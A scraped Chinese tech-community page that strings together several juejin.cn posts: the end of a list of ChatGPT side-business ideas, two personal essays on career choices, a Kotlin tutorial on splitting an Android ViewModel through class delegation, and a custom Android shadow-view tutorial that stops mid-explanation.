通过这样做,您将拥有可以在 Kartra 或 点击漏斗 等平台上销售的整个课程。


有成千上万的人愿意为信息付费,而不是自己学习。


关键是睁开眼睛看看这个世界,意识到人们每月通过销售课程赚取数百万元。


因此,实际上,最终流量加上后端销售漏斗相当于一百万元的业务。


6.开始按需打印商店


这种商业模式的前提是围绕人们真正感兴趣的特定主题在 Etsy 上创建利基商店。


在这个商业模式中,你的工作是在旅途中创造令人敬畏的艺术,这是一种人工智能艺术生成工具,然后将其放在一些T恤或海报上,并将其放在Etsy上的利基商店中。然后使用按需打印服务来运送和创建这些产品。


要开始,您首先需要找到一个利基市场。Etsy的一个很好的关键字研究工具称为eRank,可让您在Etsy上找到竞争较低的关键字。


图片


一旦找到一个利基市场并找到关键字,您就可以前往 MidJourney 网站,这是一个人工智能艺术生成平台。


您需要做的就是使用提供的提示开始创建自己的艺术。


图片


既然您已经拥有了一件您认为您的利基市场中的人会喜欢的好艺术品,您现在需要创建一个 Etsy 帐户,然后将该 Etsy 帐户连接到按需打印服务,例如 Printful.


Printful 是一款很棒的按需印刷品,可让您将图像放在杯子、海报 T 恤和一大堆其他商品上。


图片


Printful 有一个集成,可让您直接连接到您的 Etsy 商店。


然后,您可以开始创建不同的物品并在Etsy上出售它们。


这是一个如此有利可图且可扩展的商业模式的原因是,Etsy为您带来了所有流量,而不必推销您的任何东西。


您需要做的就是点击这些正确的关键字,然后您的东西将被营销给正在寻找这种商品的合适人。


7.AI 个人助理


现在,下一个可能是最自然的用例,目前每个人都有一个AI通用助手,无论是Alexa还是Siri,甚至是Bixby。诀窍将是进入一个真正薄片的市场。


我的意思是,你真的不希望Siri给你健身建议。您需要为该利基市场训练专门的语言模型,并提供干净的用户界面供客户使用。您可以训练您的 AI 模型以专注于健身旅行或金融并提供指导。


潜在的目标受众将是寻求数字助理来帮助他们管理日常任务的个人和企业。


8.AI 自媒体助手


正如我们刚刚了解到的,我们可以训练人工智能模型来实际模拟一个真实的人,就像我们在上一个想法中对格雷厄姆·斯特凡(Graham Stefan)建模一样。现在,您为AI模型提供的输入越多,它就会变得越准确,越智能。


考虑到这一点内容创作者要回应他们的粉丝是一项艰巨的任务。通常,如果他们足够大,他们只有两到三秒钟的时间来对每条评论说谢谢。但是,使用由AI模型提供支持的简单Chrome插件,该插件可以学习您的语气,节奏,喜欢说什么以及您通常如何回应其中一条评论。


图片


它可以帮助您生成真正有意义和深思熟虑的回复,您稍后会来编辑或拒绝,甚至只是批准并将它们公开发布到网站上。最好的部分是,它会在你的声音中。


这个应用程序也很棒,你通过批准、拒绝或编辑评论给它的反馈越多,人工智能就会学习,每一条评论都会变得越来越好。


9. 客户服务聊天机器人


客户服务聊天机器人是一种人工智能驱动的聊天机器人,旨在帮助客户完成诸如回答常见问题、提供有关产品或服务的信息以及解决问题等任务。


要使用聊天 GPT 构建用于客户服务的聊天机器人,您需要在客户查询和响应的数据集上训练模型。这将使聊天机器人能够了解客户可能遇到的问题和问题类型,并提供适当的响应。


用于客户服务的聊天机器人的潜在目标受众是希望改善客户服务的各种行业的企业。这可能包括电子商务企业、基于服务的企业和 B2B 公司。


10. 财务规划应用程序


下一个想法是创建一个应用程序,旨在帮助完成预算、储蓄和投资等任务。


例如,您可以通过输入 Graham Stefan 的整个视频和课程目录来训练 ChatGPT 模型,了解他的投资和预算哲学。


然后,人工智能将能够监控您的支出模式、银行账户、投资,并为您提供反馈,说明您应该做什么才能实现您的财务目标。


如果您需要此类应用程序的灵感,可以查看 fylehq.com。


图片


它是一种费用管理软件,它使用 AI 从费用收据中准确提取和编码数据。


11. 健康与保健应用程序


这个 ChatGPT 商业理念就是创建一个健康应用程序,旨在帮助完成跟踪健康指标、提供健康和保健提示以及将用户与医疗保健提供者联系起来等任务。


cass.ai 这种应用程序的一个很好的例子是。


图片


要为这种类型的聊天机器人训练模型,您需要在患者病历、医院记录和体检结果等大数据源上训练它。


12. 娱乐应用


下一个想法是创建一个应用程序,提供有关电影、电视节目、音乐和其他娱乐形式的推荐和信息。


若要为此类应用训练模型,需要大型娱乐信息数据集,例如电影和电视节目评论、音乐推荐以及有关即将发生的事件的信息。


例如,数据集可以包含诸如“年度最佳电影是什么”、“公告牌百强单曲榜上排名前 10 的歌曲是什么”和“百老汇必看的节目是什么”等短语。


13. 数字副本


现在,把最好的想法留给爱,有一个名为 character.ai 的网站,你可以尝试训练一个语言模型来代表世界上的任何人,无论是像埃隆马斯克这样的活着的人,甚至是像本杰明富兰克林这样的死者。


你可以用我实际与之交互的AI模型将它们变成3D增强现实体验。


托尼·罗宾斯(Tony Robbins)一直在幕后工作,这是他毕生工作的巨作。


图片


一种人工智能语言模型,它知道他所知道的一切,并且拥有技术和能力,可以扩展到他可以以托尼罗宾斯私人教练的形式为世界各地的每个人提供他的教学。


14. 转录应用程序


有些网站像 scribie.com,从字面上支付从视频或注册中转录内容的费用,因此需求就在那里。


事实上,如果你浏览Scibie的网站,你会看到许多服务。例如转录会议、演讲、论文等。


图片


因此,您可以考虑创建一个应用程序并使用开放 AI 中的 API 在您的应用程序中使用 whisper 服务。Whisper是OpenAI的另一项服务。


这里涉及更多的工作,但我认为了解如何将 API 集成到应用程序中以及如何构建前端应用程序确实值得了解,因为这个 API 可以提供很多东西。


15.AI 旅游应用


有一些 AI 旅行应用程序可以帮助您完成预订航班和酒店、查找旅行优惠以及为目的地的活动和景点提供建议等任务。


其中一个应用程序是 Emma.ai 它会自动在您的日历中直接为您提供旅行时间和旅程信息,用于客户约会和会议。


图片


该应用程序可让您使用缓冲时间功能和约会预订功能来管理日历。


他们在大型旅行信息数据集上训练模型,例如航班和酒店预订、旅行优惠以及目的地活动和景点的建议。


16. 新闻和信息应用程序


要创建基于 ChatGPT 的新闻和信息应用程序,您需要收集大量新闻文章和其他相关信息的数据集,这些信息涉及各种主题,例如来自信誉良好的新闻来源的文章,以及来自其他来源的信息,例如政府网站、行业报告和专家分析,具体取决于您的利基。


您还需要在此数据集上训练 ChatGPT 模型,对其进行微调,以理解和响应与新闻和信息相关的自然语言查询和命令。


您的模型应该能够理解和回答诸如“印度冠状病毒的最新消息”、“今天股市发生了什么”和“中东当前局势如何”等问题。


为此,我建议从一个较小的利基市场开始,而不是创建一个试图涵盖所有内容的新闻应用程序。


17.AI 流媒体服务


如果你最近一直在关注直播,你可能听说过一个名为Neurosama的AI直播主播,她本质上是一个玩Minecraft和OSU等视频游戏的动漫女孩。


图片


同时,她与聊天互动,破解笑话,并从她使用机器学习技术处理的信息中学习。这令人印象深刻。


现在,事情是这样的。如果你想创建一个类似的AI主播,这可能是非常具有挑战性的。我不知道有任何可供公众使用的特定工具。如果存在这样的工具,我相信每个人都会使用它。


但是,如果你能找到一种方法来编程这样的东西或创建一个类似的工具,你就有可能将这些人工智能流媒体作为一项业务出售。


您可以提供完整的编码来创建整个AI流,在您的服务器上运行它,并以月费将其出售给公司。


对于没有编码知识并希望进入流媒体领域的公司来说,这可能非常诱人。或者,您可以运行 10 到 20 个 AI 流光,或者找出其他方法来制作 AI 内容。


18.AI 网红营销


接下来,您甚至可以创建AI Instagram影响者。事实上,Pacsun背后的面孔是一个甚至不存在的数字影响者,但她在Instagram上拥有近3万粉丝。


图片


想象一下,对于希望聘请模特或影响者来推广其页面的公司来说,使用人工智能影响者是一个双赢的局面。他们不会衰老,不会努力工作,也不会被起诉。


如果你能创造一些这样的人工智能影响者,并将它们推销给公司,你就可以赚到一个沉重的包。


19. 文案服务


销售文案服务是最明显的 Chat GPT 商业理念,但同时也是最具竞争力的理念,因为每个人都可以做到这一点。但它可能仍然有效,因为它适用于全球许多自由职业者,正如您稍后看到的那样。


以下是您可以出售的一些文案服务:


● 博客写作 


● 产品描述 


● 网站文案 


● 销售文案 


● 校对


所有这些服务都是高利润的,人们愿意为你付费。


人类的大脑有局限性,但现在你没有任何局限性,你有一个真正的竞争优势,这要归功于这种人工智能。


您可以在自由职业者网站上一次提供多种不同的服务。


图片


因此,让我们以Fiverr上的博客写作为例。


因此,如您所见,这些人已经通过销售这项服务赚了很多钱。


但同样,关键是要找到一个特定的利基市场,因为它几乎与所有这些聊天 GPT 商业理念一样。


20. 编码服务


正如您刚刚看到的那样,ChatGPT 为应用程序或谷歌浏览器扩展程序创建代码,以便它可以创建代码并更正它。


编码的需求量非常高,企业和企业家愿意向任何能够提供这项服务并做好这项工作的人支付巨额资金。


现在你有了另一个不公平的优势,你有ChatGPT为你做所有的工作。


这只


是关于利用自由职业者网站并在那里宣传自己作为专业编码员。


给它一些时间将一些客户聚集在一起,使用聊天 GPT 制作一些高质量的工作,然后从那里进行扩展和构建。


GPT商业理念-最后的话


这些是您可以尝试的最佳聊天GPT商业理念。


人工智能驱动的企业正在激增,企业家利用这项技术的机会是巨大的。


ChatGPT 有潜力彻底改变现有行业,创造新行业,并为消费者提供高度个性化的服务。


如果您想创业,请考虑将 ChatGPT 纳入您的业务模式并以创新的方式应用它。随着技术的不断发展,人工智能在不同行业和市场的潜在应用也将如此。


ONE MORE THING


咪豆AI圈(Meedo)针对当前人工智能领域行业入门成本较高、碎片化信息严重、资源链接不足等痛点问题,致力于打造人工智能领域的全资源、深内容、广链接三位一体的在线科研社区平台,提供AI导航网、AI版知乎,AI知识树和AI圈子等服务,欢迎AI未来儿一起来探索(http://www.meedo.top/)


作者:用户8493183248495
链接:https://juejin.cn/post/7212210588825911352
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

有些东西你要是早点懂,也不至于走那么多冤枉路

最近在阅读一些书籍和学习一些技术的时候,有一些心得,再和过去自己在不同阶段的一些经历进行反思,总结一些个人的想法和看法,也希望自己在很多年后再回头来看的时候,不像今天回头去看很多年前一样感到有一丝悔意和不甘。 在大学二年级下学期之前,我是处于一种“无头苍蝇”的...
继续阅读 »

最近在阅读一些书籍和学习一些技术的时候,有一些心得,再和过去自己在不同阶段的一些经历进行反思,总结一些个人的想法和看法,也希望自己在很多年后再回头来看的时候,不像今天回头去看很多年前一样感到有一丝悔意和不甘。


在大学二年级下学期之前,我是处于一种“无头苍蝇”的状态,并不是说自己自甘堕落,破罐子破摔,不是的,相反,我是渴求改变自己的,想学东西的,但是,对于我这种普通本科的学生,虽然学校图书馆有你看不完的书,但是,你总得知道你该看什么书,什么样的对你有帮助,知识的海洋是没有边际的,但是一个人的精力是有限的,当把过多的时间花费在一些对自己没有成长,但是自己却在自嗨的事情上的时候是很可怕的。


就拿读书这件事来说,那时候因为我是“无头苍蝇”,所以就“病急乱投医”,总觉得要去看一点书来充实自己,于是我就看了一些历史,三皇五帝,春秋战国,秦汉三国南北朝都去看了,后面又去看了王阳明,曾国藩,后面是越看越觉得不行,我是学软件工程的,怎么研究起历史来了,然后又去寻求内心的安慰,又去听电台,我记得那时候我最爱听的就是《饮鸩不止渴》和《十点读书》,然后里面的一些鸡汤就把自己灌饱了,就觉得“未来可期”,其实后来才发现是“未来可欺”,不过其实对于像我这样的人,整个社会太多太多,他们想改变自己,想未来有一份不错的事业,他们有梦想,有激情,但是,他们却不知道怎么做,他们的父母不懂这个专业,他们的身边也没啥人懂这个专业,他们从小没见过大的世界,所以导致他们“浪费”了很多时光。


当然,读书是一件十分好的事,听电台也很好,但是,在生命的每一个阶段,你自己应该把时间主要花费在什么上面,这是一个很有智慧的问题,读历史,读人物传记能够让我们有更多的思考空间,有宽广的胸怀,让人遇事从容淡定,因为随着时间的推移,枭雄豪杰不过是一堆白骨,但是眼下我们依旧在生活着,是避不开生计,避不开七情六欲的,所以在头顶星辰大海的同时也要看好眼前的路,在自己没有方向的时候,就看别人怎么做的,如果没有目标参考系,那就做自己专业该做的,然后极力去了解相关资讯和技术,这样即使种不出南瓜,但是也绝对不会少了豆子,最主要的是,这个过程它会去锻炼人,提高自己的思考能力。


不过在自己有了目标以后,怎么去实现这个目标更是一个问题,如果没有条理,没有规划,没有结合社会情况,那么,努力就会显得无力苍白,学生时代的时候,说白了,对于普通本科的学校,大家都差不多,自然没有人有更高的论调,所以都沉迷于表面的浮华,而不去关注其核心原理,所以在学习技术的时候,也会显得毛毛躁躁,不去认真专研,而是沉迷于“多”,“炫”上面,其实着是不对的,不论是计算机专业还是其他专业,知识框架是很多的,但是大多数人少了一种刨根问底的精神,当然,刨根问底也并不一定是一种值得称赞的精神,但是在学生时代如果有刨根问底的精神,那么事必成,因为学生时代正是种子发芽的时候,但是进入社会以后,刨根问底未必就是好事了,它和我们的职业规划,个人性格等有很大的关联,比如你觉得你不可能成为技术专家的条件,你的优势也不在哪里,你还去刨根问底技术,那么这不是明智的选择,但是如果暂时还在一个过渡期,很多东西还不确定,那么是有必要去刨根问底的,而且刨得越深越好。


个人定位无论在那个阶段都是很重要的,它是一种判断力,更是一种智慧,你让韩信去管钱粮他肯定不如萧何,你让萧何去管兵马打仗,他肯定不如韩信,所以,没有那个方向是做好的,没有那个岗位是最值得深耕的,这完全要根据自己的情况来,如果你是一个技术控,对技术有无尽的热爱,加上脑子转得也快,那么,从事技术发展肯定是一个很不错的选择,但是如果对技术不敏感,别人一遍就会,而我十遍都不会,那么可能我真的不适合,但是我对商业有洞察力,对客户有一套打法,那么就没必要去技术哪里死磕,虽然你能花11个小时弄懂,但是硬生生花11小时去弄,因为人最宝贵的就是时间,这样就显得不理智,因为其他它从某种意义上已经证明你确实不适合干这个。


主要就说这些了,虽然都是能懂的道理,但是还是要时刻记录下来,给自己看的同时也希望对别人有启示,往往很多时候是环境和认知限制了我们,所以这时候思考和学习就是最好的解法,在资源不充足的情况下,一定会踩很多坑,滩很多浑水,所以寻求资源是一件十分有必要的事情,多向优秀的人请教,学习,多了解这个社会的运转,不要被关在狭小的信息茧房里。


今天的分享就到这里,感谢你的观看,我们下期见。


作者:刘牌
链接:https://juejin.cn/post/7214858677174452281
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

你是先就业还是先择业?

就业的”就“不是让你将就   是不是大家常常听到家里人唠叨的一句话:“有工作就行了啊,别那么挑剔,你都这么大了,还指望着家里养着你啊” 。还是老师说:“我们要建立优先就业再择业的就业观,不能一直不去就业呀”什么的叭叭叭。   其实某方面来说他们并没有说错,我们...
继续阅读 »

就业的”就“不是让你将就


  是不是大家常常听到家里人唠叨的一句话:“有工作就行了啊,别那么挑剔,你都这么大了,还指望着家里养着你啊” 。还是老师说:“我们要建立优先就业再择业的就业观,不能一直不去就业呀”什么的叭叭叭。


  其实某方面来说他们并没有说错,我们已经成年了,需要独立自主。在漂亮国,到了18岁好像都要分家了吧。不过我们在中国,中国的国情肯定和漂亮国不一样。除此之外中国家庭从小的哭穷式教育,估计让许多孩子都想自己经济独立吧。这个现象导致了大家认为有工作就行了,我管他什么工作呢。


  但是从自身职业发展来讲,这是对自己极其不负责的表现,往往许多人的第一份工作就决定了人生轨迹,不论是以后决定发展的城市,还是以后工作的方向,其实已经早已埋下种子。你说你可以换工作啊,可以跳槽啊,现实往往会打醒你,你以为你没了应届生身份,凭着你那不到一年的工作经验,人家企业看中你什么。所以我们要就业要为自己,同时也要为自己的未来负责,我们要慎之又慎。所以我们要就业不过的选择自己合适的就业不能盲目就业,家长的思想大部分过时了,停留在了上了大学就有好工作的时代。我们只能参照而不能按部就班,对于老师,大部分是为了提高学校就业率完成指标而已,不必要太大理会,当然和你关系好的老师除外,但是相反如果和你关系好他一定会不会让你草草就业的。


u=1343747016,2016950934&fm=253&fmt=auto&app=138&f=JPEG.webp


择业的”择“也别太择



钱多事少离家近,位高权重责任轻。睡觉睡到自然醒,数钱数到手抽筋。



  说完就业再谈谈择业,相信上面这句话大家都听过,这简直就是梦中情职,所以择业在我看来无非四种:离家近的、工资高的、自己感兴趣的、清闲的。这四种涵盖了大部分职业了吧。所以我们怎么择业,选择一个适合自己的职位对于未来发展是事半功倍的。


  大家选择职业的时候不知道是从哪方面来选择的,首先离家近,相信很多女生都是考虑这个优先吧,感觉男生就是喜欢仗剑走天涯那种🤣。然后考虑清闲的,想想你二十几岁的年龄你还要工作四五十年可能,选个清闲一点的职业不过分吧,最好就是考一个公务员事业编了,实在不行就去央企国企了,当然这种工作大家都想去,虽然工资不高但是福利好啊。再者就是兴趣了,把自己的兴趣培养成自己的职业也是可以的,大学就是很好的时间,选那种课比较少的专业,这里不得不再次吐槽大学课程的无用性。然后自己选一个自己喜欢的职业,比如摄影、博主什么的。不过当喜欢的事变成职业很多人也就不喜欢了,比如电竞职业选手他们天天十几个小时训练打游戏,他们下班还会想打游戏嘛🤣。就是坚持很重要。再再者,有的人说自己天生无感对什么都没兴趣,那么恭喜你和我一样🤣,就是什么的不是很感兴趣,也不讨厌,那么我建议搞钱,选个高薪的职业搞到足够的钱就退休了,当初就是看程序员薪资高入行了,对钱总感兴趣了吧。总而言之择业择业选择自己合适的再就业。


  鱼和熊掌不可兼得。选择离家近的就得忍受小镇的慢节奏,没有快速的地铁,没有好玩的游乐场,有的只是街坊邻居的互相寒暄,没有夜晚的灯红酒绿,只有晚上八九点就安静的大街。选择清闲的公务员,那么就要懂的人情世故,还有每个月几千块钱的工资。选择自己感兴趣的,那么就得忍受孤独,经得起自我怀疑要有坚定的勇气。高工资的不用多说了吧,996,007时间就是金钱,加班是常态,通宵也是偶尔。所以没有哪份职业好坏,选择自己合适的,加油奋斗吧!


作者:过了三分之二年河东
链接:https://juejin.cn/post/7216729979622883389
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

使用 Kotlin 委托,拆分比较复杂的 ViewModel

需求背景 在实际的开发场景中,一个页面的数据,可能是由多个业务的数据来组成的。 使用 MVVM 架构进行实现,在 ViewModel 中存放和处理多个业务的数据,通知 View 层刷新 UI。 传统实现 比如上面的例子,页面由3 个模块数据构成。 我们可...
继续阅读 »

需求背景




  1. 在实际的开发场景中,一个页面的数据,可能是由多个业务的数据来组成的。

  2. 使用 MVVM 架构进行实现,在 ViewModel 中存放和处理多个业务的数据,通知 View 层刷新 UI。


传统实现


比如上面的例子,页面由3 个模块数据构成。


我们可以创建一个 ViewModel ,以及 3个 LiveData 来驱动刷新对应的 UI 。


    class HomeViewModel() : ViewModel() {

private val _newsViewState = MutableLiveData<String>()
val newsViewState: LiveData<String>
get() = _newsViewState

private val _weatherState = MutableLiveData<String>()
val weatherState: LiveData<String>
get() = _weatherState

private val _imageOfTheDayState = MutableLiveData<String>()
val imageOfTheDayState: LiveData<String>
get() = _imageOfTheDayState

fun getNews(){}
fun getWeather(){}
fun getImage(){}

}

这样的实现会有个缺点,就是随着业务的迭代,页面的逻辑变得复杂,这里的 ViewModel 类代码会变复杂,变得臃肿。


这个时候,就可能需要考虑进行拆分 ViewModel


一种实现方法,就是直接简单地拆分为3个 ViewModel,每个 ViewModel 处理对应的业务。但是这样会带来其他问题,就是在 View 层使用的时候,要判断当前是什么业务,然后再去获取对应的ViewModel,使用起来会比较麻烦。


优化实现


目标:



  • 将 ViewModel 拆分成多个子 ViewModel,每个子 ViewModel 只关注处理自身的业务逻辑

  • 尽量考虑代码的可维护性、可扩展性


Kotlin 委托



  • 委托(Delegate)是 Kotlin 的一种语言特性,用于更加优雅地实现代理模式

  • 本质上就是使用了 by 语法后,编译器会帮忙生成相关代码。

  • 类委托: 一个类的方法不在该类中定义,而是直接委托给另一个对象来处理。

  • 基础类和被委托类都实现同一个接口,编译时生成的字节码中,继承自 Base 接口的方法都会委托给BaseImpl 处理。


// 基础接口
interface Base {
fun print()
}

// 基础对象
class BaseImpl(val x: Int) : Base {
override fun print() { print(x) }
}

// 被委托类
class Derived(b: Base) : Base by b

fun main(args: Array<String>) {
val b = BaseImpl(10)
Derived(b).print() // 最终调用了 Base#print()
}

具体实现


定义子 ViewModel 的接口,以及对应的实现类


    interface NewsViewModel {
companion object {
fun create(): NewsViewModel = NewsViewModelImpl()
}

val newsViewState: LiveData<String>

fun getNews()
}

interface WeatherViewModel {
companion object {
fun create(): WeatherViewModel = WeatherViewModelImpl()
}

val weatherState: LiveData<String>

fun getWeather()
}

interface ImageOfTheDayStateViewModel {
companion object {
fun create(): ImageOfTheDayStateViewModel = ImageOfTheDayStateImpl()
}

val imageState: LiveData<String>

fun getImage()
}

class NewsViewModelImpl : NewsViewModel, ViewModel() {
override val newsViewState = MutableLiveData<String>()

override fun getNews() {
newsViewState.postValue("测试")
}
}

class WeatherViewModelImpl : WeatherViewModel, ViewModel() {
override val weatherState = MutableLiveData<String>()

override fun getWeather() {
weatherState.postValue("测试")
}
}

class ImageOfTheDayStateImpl : ImageOfTheDayStateViewModel, ViewModel() {
override val imageState = MutableLiveData<String>()

override fun getImage() {
imageState.postValue("测试")
}
}


  • 把一个大模块,划分成若干个小的业务模块,由对应的 ViewModel 来进行处理,彼此之间尽量保持独立。

  • 定义接口类,提供需要对外暴漏的字段和方法

  • 定义接口实现类,内部负责实现 ViewModel 的业务细节,修改对应字段值,实现相应方法。

  • 这种实现方式,就不需要像上面的例子一样,每次都要多声明一个带划线的私有变量。并且可以对外隐藏更多 ViewModel 的实现细节,封装性更好


组合 ViewModel


image.png


    interface HomeViewModel : NewsViewModel, WeatherViewModel, ImageOfTheDayStateViewModel {
companion object {
fun create(activity: FragmentActivity): HomeViewModel {
return ViewModelProviders.of(activity, object : ViewModelProvider.Factory {
override fun <T : ViewModel?> create(modelClass: Class<T>): T {
return if (modelClass == HomeViewModelImpl::class.java) {
@Suppress("UNCHECKED_CAST")

val newsViewModel = NewsViewModel.create()
val weatherViewModel = WeatherViewModel.create()
val imageOfTheDayStateImpl = ImageOfTheDayStateViewModel.create()

HomeViewModelImpl(
newsViewModel,
weatherViewModel,
imageOfTheDayStateImpl
) as T
} else {
modelClass.newInstance()
}

}
}).get(HomeViewModelImpl::class.java)
}
}
}

class HomeViewModelImpl(
private val newsViewModel: NewsViewModel,
private val weatherViewModel: WeatherViewModel,
private val imageOfTheDayState: ImageOfTheDayStateViewModel
) : ViewModel(),
HomeViewModel,
NewsViewModel by newsViewModel,
WeatherViewModel by weatherViewModel,
ImageOfTheDayStateViewModel by imageOfTheDayState {

val subViewModels = listOf(newsViewModel, weatherViewModel, imageOfTheDayState)

override fun onCleared() {
subViewModels.filterIsInstance(BaseViewModel::class.java)
.forEach { it.onCleared() }
super.onCleared()
}
}


  • 定义接口类 HomeViewModel,继承了多个子 ViewModel 的接口

  • 定义实现类 HomeViewModelImpl,组合多个子 ViewModel,并通过 Kotlin 类委托的形式,把对应的接口交给相应的实现类来处理

  • 通过这种方式,可以把对应模块的业务逻辑,拆分到对应的子 ViewModel 中进行处理

  • 如果后续需要新增一个新业务数据,只需新增相应的子模块对应的 ViewModel,而无需修改其他子模块对应的 ViewModel。

  • 自定义 ViewModelFactory,提供 create 的静态方法,用于外部获取和创建 HomeViewModel。


使用方式



  • 对于 View 层来说,只需要获取 HomeViewModel 就行了。

  • 调用暴露的方法,最后会委托给对应子 ViewModel 实现类进行处理。


        val viewModel = HomeViewModel.create(this)

viewModel.getNews()
viewModel.getWeather()
viewModel.getImage()

viewModel.newsViewState.observe(this) {

}
viewModel.weatherState.observe(this) {

}
viewModel.imageState.observe(this) {

}

扩展



  • 上面的例子,HomeViewModel 下面,可以由若干个子 ViewMdeol 构成。

  • 随着业务拓展,NewsViewModel、WeatherViewModel、ImageOfTheDayStateViewModel,也可能是分别由若干个子 ViewModel 构成。那也可以参照上面的方式,进行实现,最后会形成一棵”ViewModel 树“,各个节点的 ViewModel 负责处理对应的业务逻辑。


image.png


总结


这里只是提供一种拆分 ViewModel 的思路,在项目中进行应用的话,可以根据需要进行改造。


作者:入魔的冬瓜
链接:https://juejin.cn/post/7213257917254860861
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

【自定义 View】一个易用且好看的阴影控件

前言 在 Android 的界面绘制中,控件的阴影是我们经常会处理的一种界面元素,尤其会出现在按钮 Button 这种需要吸引用户关注点的控件上。Android 原生提供了控件的 Z 轴属性即 elevetion 供阴影效果,但是这个效果嘛,但凡是有一点想法的...
继续阅读 »

前言


Android 的界面绘制中,控件的阴影是我们经常会处理的一种界面元素,尤其会出现在按钮 Button 这种需要吸引用户关注点的控件上。Android 原生提供了控件的 Z 轴属性即 elevetion 供阴影效果,但是这个效果嘛,但凡是有一点想法的 UI 都不会满意的,比如我司的,就坚决不接受。


常见的问题比如不支持特定的阴影形状或大小,或不允许完全自定义阴影的颜色或透明度,切图是一种方式,但是自定义 View 绘制的效果会更好,毕竟切图会实实在在的造成 apk 包体积的增大,而且屏幕适配也会是一个潜藏的问题隐患。



结合我的经验,简单封装了一下,分享我目前使用的 ShadowView


使用


圆角矩形阴影




  1. 普通阴影


    <?xml version="1.0" encoding="utf-8"?>
    <androidx.constraintlayout.widget.ConstraintLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity">

    <com.randalldev.shadowview.ShadowView
    android:layout_width="0dp"
    android:layout_height="0dp"
    app:layout_constraintBottom_toBottomOf="@id/btn_target"
    app:layout_constraintEnd_toEndOf="@id/btn_target"
    app:layout_constraintStart_toStartOf="@id/btn_target"
    app:layout_constraintTop_toTopOf="@id/btn_target"
    app:shadowBottomHeight="16dp"
    app:shadowCardColor="#FF7043"
    app:shadowColor="#FFEE58"
    app:shadowLeftHeight="16dp"
    app:shadowRadius="16dp"
    app:shadowRightHeight="16dp"
    app:shadowRound="8dp"
    app:shadowTopHeight="16dp" />

    <Button
    android:id="@+id/btn_target"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:background="@android:color/transparent"
    android:paddingStart="40dp"
    android:paddingEnd="40dp"
    android:paddingTop="20dp"
    android:paddingBottom="20dp"
    android:text="target button"
    android:textColor="@color/purple_700"
    app:layout_constraintBottom_toBottomOf="parent"
    app:layout_constraintEnd_toEndOf="parent"
    app:layout_constraintStart_toStartOf="parent"
    app:layout_constraintTop_toTopOf="parent" />

    </androidx.constraintlayout.widget.ConstraintLayout>

    image.png


    抛开配色不谈,这个效果还可以吧




  2. 普通阴影 + 偏移


    <?xml version="1.0" encoding="utf-8"?>
    <androidx.constraintlayout.widget.ConstraintLayout
    ···
    app:shadowLeftHeight="16dp"
    app:shadowOffsetX="8dp"
    app:shadowOffsetY="4dp"
    app:shadowRadius="16dp"
    ···
    </androidx.constraintlayout.widget.ConstraintLayout>

    image.png




圆形阴影


圆形阴影也可以认为是一种特殊的圆角矩形阴影,可以继续沿用圆角矩形的方式,或者添加 shadowShape 属性。


如果要使用圆角矩形的方式,需要事先确定目标控件的尺寸,这可能会遇到屏幕适配问题,所以我这里就直接演示使用 shadowShape 属性的方式




  1. 普通阴影


    <?xml version="1.0" encoding="utf-8"?>
    <androidx.constraintlayout.widget.ConstraintLayout
    ···
    app:shadowCardColor="#FF7043"
    app:shadowColor="#FFEE58"
    app:shadowRadius="16dp"
    app:shadowShape="1" />

    <Button
    android:id="@+id/btn_target"
    android:layout_width="wrap_content"
    android:layout_height="0dp"
    android:background="@android:color/transparent"
    android:padding="20dp"
    android:text="target button"
    android:textColor="@color/purple_700"
    app:layout_constraintBottom_toBottomOf="parent"
    app:layout_constraintDimensionRatio="1:1"
    ···

    </androidx.constraintlayout.widget.ConstraintLayout>

    image.png


    很简单吧,相比圆角矩形的配置,多了一个 shadowShape 但是少了很多尺寸的设置,只需要设置一个 shadowRaduis 即可。


    需要注意的是,我这里使用了 ConstrainLayoutratio 属性设置为 1:1 来实现一个正方形的目标控件,因为在绘制圆形时,是以控件的中心作为圆心来绘制的,如果不是正方形就可能出现问题了。




  2. 普通阴影 + 偏移


    <?xml version="1.0" encoding="utf-8"?>
    <androidx.constraintlayout.widget.ConstraintLayout
    ···
    app:shadowCardColor="#FF7043"
    app:shadowColor="#FFEE58"
    app:shadowRadius="16dp"
    app:shadowOffsetX="4dp"
    app:shadowOffsetY="4dp"
    app:shadowShape="1" />

    ···
    </androidx.constraintlayout.widget.ConstraintLayout>

    image.png





这个使用起来还是比较方便的吧,只需要目标控件设置 padding 留出足够的空间绘制阴影效果即可。


并且不需要再写 drawable 文件设置控件的背景了。


当然也不是没有缺陷,目前还是只能兼容圆角矩形和圆形。异形的暂时没用到,可能也不会去做支持。



实现


什么是阴影


首先,阴影是什么?


在真实世界中,阴影是物体遮挡住光源的光路出现的现象;在 Android View 体系中则是 Z 轴高度,Z 轴高度越高,阴影范围越大,颜色越深。


但是仅仅通过 elevetion 属性设置 Z 轴高度实现的阴影视效上往往只能说满足有无的问题,毕竟国内谁按照 MD 风格去设计界面啊。


image.png


那么,阴影是什么?


当我们自定义 View 去绘制阴影的时候,其实也可以是一圈从边缘向四周放射式扩散的渐变色层,从而造成一种视觉的阴影效果。


那偏移又是什么?


偏移其实就是表达光源的位置,偏移为 0,即光源在正中心光线直射,阴影效果是从边缘均匀的向四周逐渐变淡。


X 偏移为正,则光源在中心偏右,Y 偏移为正,则光源在中心偏下。 若为负数则相反。视觉上则会出现某一或两轴方向上的阴影区域偏少。


上代码


初始化


这段很简单,就是读取 attrs 属性,设置硬件加速


init {
initView(context, attrs)
//设置软件渲染类型,跟绘制阴影相关,后边会说
setLayerType(View.LAYER_TYPE_SOFTWARE, null)
}

绘制阴影


这里创建了一个画笔 Paint 的实例,画笔的颜色是目标控件的背景色;绘制模式设置的是 FILL 表示填充模式,还有 STROKE 描边模式,FILL_AND_STROKE 描边加填充模式;AntiAlias 设置为 true 标识开启抗锯齿。


这里就是使用 PaintsetShadowLayer() 方法创建阴影效果,其中:



  • radius:阴影半径,值越大阴影越模糊,值为0时阴影消失。

